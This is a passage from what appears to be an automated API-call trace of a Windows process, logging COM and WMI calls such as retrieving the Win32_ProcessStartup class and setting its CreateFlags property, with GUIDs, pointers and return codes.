[1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0122.724] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5106d8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b5105b8) returned 0x0 [0122.724] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b5105b8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0122.724] WbemLocator:IUnknown:Release (This=0x1b5105b8) returned 0x3 [0122.724] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0122.724] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0122.725] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5106d8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b5106a0) returned 0x0 [0122.725] WbemLocator:IRpcOptions:Query (in: This=0x1b5106a0, pPrx=0x1b5106d8, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0122.725] WbemLocator:IUnknown:Release (This=0x1b5106a0) returned 0x3 [0122.725] WbemLocator:IUnknown:Release (This=0x1b5106d8) returned 0x2 [0122.725] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0122.725] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0122.725] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5106d8, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x1b4cf6d0) returned 0x0 [0122.725] WbemLocator:IUnknown:AddRef (This=0x1b4cf6d0) returned 0x4 [0122.725] WbemLocator:IUnknown:Release (This=0x1b4cf6d0) returned 0x3 [0122.725] WbemLocator:IUnknown:Release (This=0x1b4cf6d0) returned 0x2 [0122.725] SysStringLen (param_1=0x0) returned 0x0 [0122.725] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0122.725] WbemLocator:IUnknown:AddRef (This=0x1b5106d8) returned 0x3 [0122.725] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5106d8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b5106d8) returned 0x0 [0122.725] WbemLocator:IUnknown:Release (This=0x1b5106d8) returned 0x3 [0122.725] WbemLocator:IUnknown:Release (This=0x1b5106d8) returned 0x2 [0122.725] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af8e0, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0122.725] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af8e0, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0122.727] IWbemServices:GetObject (in: This=0x1b4cf6d0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x1b4d6b40, ppCallResult=0x0) returned 0x0 [0122.729] IWbemClassObject:Get (in: This=0x1b4d6b40, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0122.729] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0122.729] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0122.729] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0122.729] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0122.729] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0122.729] IUnknown:Release (This=0x6124e8) returned 0x1 [0122.730] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b4d1fe0) returned 0x0 [0122.730] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d1fe0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0122.730] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d1fe0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x1b4af5e0) returned 0x0 [0122.730] WbemDefPath:IUnknown:Release (This=0x1b4d1fe0) returned 0x0 [0122.730] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x1b4af5e0) returned 0x0 [0122.731] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0122.733] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0122.733] WbemDefPath:IUnknown:AddRef (This=0x1b4af5e0) returned 0x3 [0122.733] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0122.733] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0122.733] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b4d2620) returned 0x0 [0122.734] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2620, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0122.734] WbemDefPath:IUnknown:Release (This=0x1b4d2620) returned 0x3 [0122.734] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0122.734] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 [0122.734] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0122.734] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x2 [0122.734] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x1 [0122.734] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0122.734] CoGetContextToken (in: pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0122.734] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x1b4af5e0) returned 0x0 [0122.734] WbemDefPath:IUnknown:AddRef (This=0x1b4af5e0) returned 0x3 [0122.734] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x2 [0122.734] WbemDefPath:IWbemPath:SetText (This=0x1b4af5e0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0122.734] IWbemClassObject:Get (in: This=0x1b4d6b40, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c3738*=0, plFlavor=0x28c373c*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c3738*=19, plFlavor=0x28c373c*=0) returned 0x0 [0122.735] IWbemClassObject:Get (in: This=0x1b4d6b40, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c3738*=19, plFlavor=0x28c373c*=0 | out: pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c3738*=19, plFlavor=0x28c373c*=0) returned 0x0 [0122.735] IWbemClassObject:Put (This=0x1b4d6b40, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0122.735] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0060, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0122.735] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0122.735] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0122.735] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0122.735] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0122.735] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0122.735] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0122.735] IUnknown:Release (This=0x6124e8) returned 0x1 [0122.736] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b4d2ba0) returned 0x0 [0122.736] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2ba0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0122.736] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2ba0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x1b4b01e0) returned 0x0 [0122.736] WbemDefPath:IUnknown:Release (This=0x1b4d2ba0) returned 0x0 [0122.736] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x1b4b01e0) returned 0x0 [0122.736] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0122.736] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0122.737] WbemDefPath:IUnknown:AddRef (This=0x1b4b01e0) returned 0x3 [0122.737] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0122.737] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0122.737] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b4d2e60) returned 0x0 [0122.737] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2e60, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0122.737] WbemDefPath:IUnknown:Release (This=0x1b4d2e60) returned 0x3 [0122.737] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 [0122.737] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0122.737] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0122.737] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x2 [0122.737] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x1 [0122.737] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0122.737] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0122.737] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x1b4b01e0) returned 0x0 [0122.737] WbemDefPath:IUnknown:AddRef (This=0x1b4b01e0) returned 0x3 [0122.737] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x2 [0122.737] WbemDefPath:IWbemPath:SetText (This=0x1b4b01e0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0122.738] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0122.738] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0122.738] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0122.738] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0122.738] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0122.738] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0122.738] IUnknown:Release (This=0x6124e8) returned 0x1 [0122.738] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x1b4d2d40) returned 0x0 [0122.739] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2d40, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0122.739] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4d2d40, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b4d2c40) returned 0x0 [0122.739] WbemLocator:IUnknown:Release (This=0x1b4d2d40) returned 0x0 [0122.739] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2c40, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: ppvObject=0x1b30ca30*=0x1b4d2c40) returned 0x0 [0122.739] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2c40, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0122.739] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2c40, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0122.739] WbemLocator:IUnknown:AddRef (This=0x1b4d2c40) returned 0x3 [0122.739] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2c40, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0122.739] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2c40, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0122.739] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2c40, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0122.739] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0122.739] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0122.740] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2c40, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0122.740] WbemLocator:IUnknown:Release (This=0x1b4d2c40) returned 0x2 [0122.740] WbemLocator:IUnknown:Release (This=0x1b4d2c40) returned 0x1 [0122.740] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0122.740] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0122.740] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2c40, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4d2c40) returned 0x0 [0122.740] WbemLocator:IUnknown:AddRef (This=0x1b4d2c40) 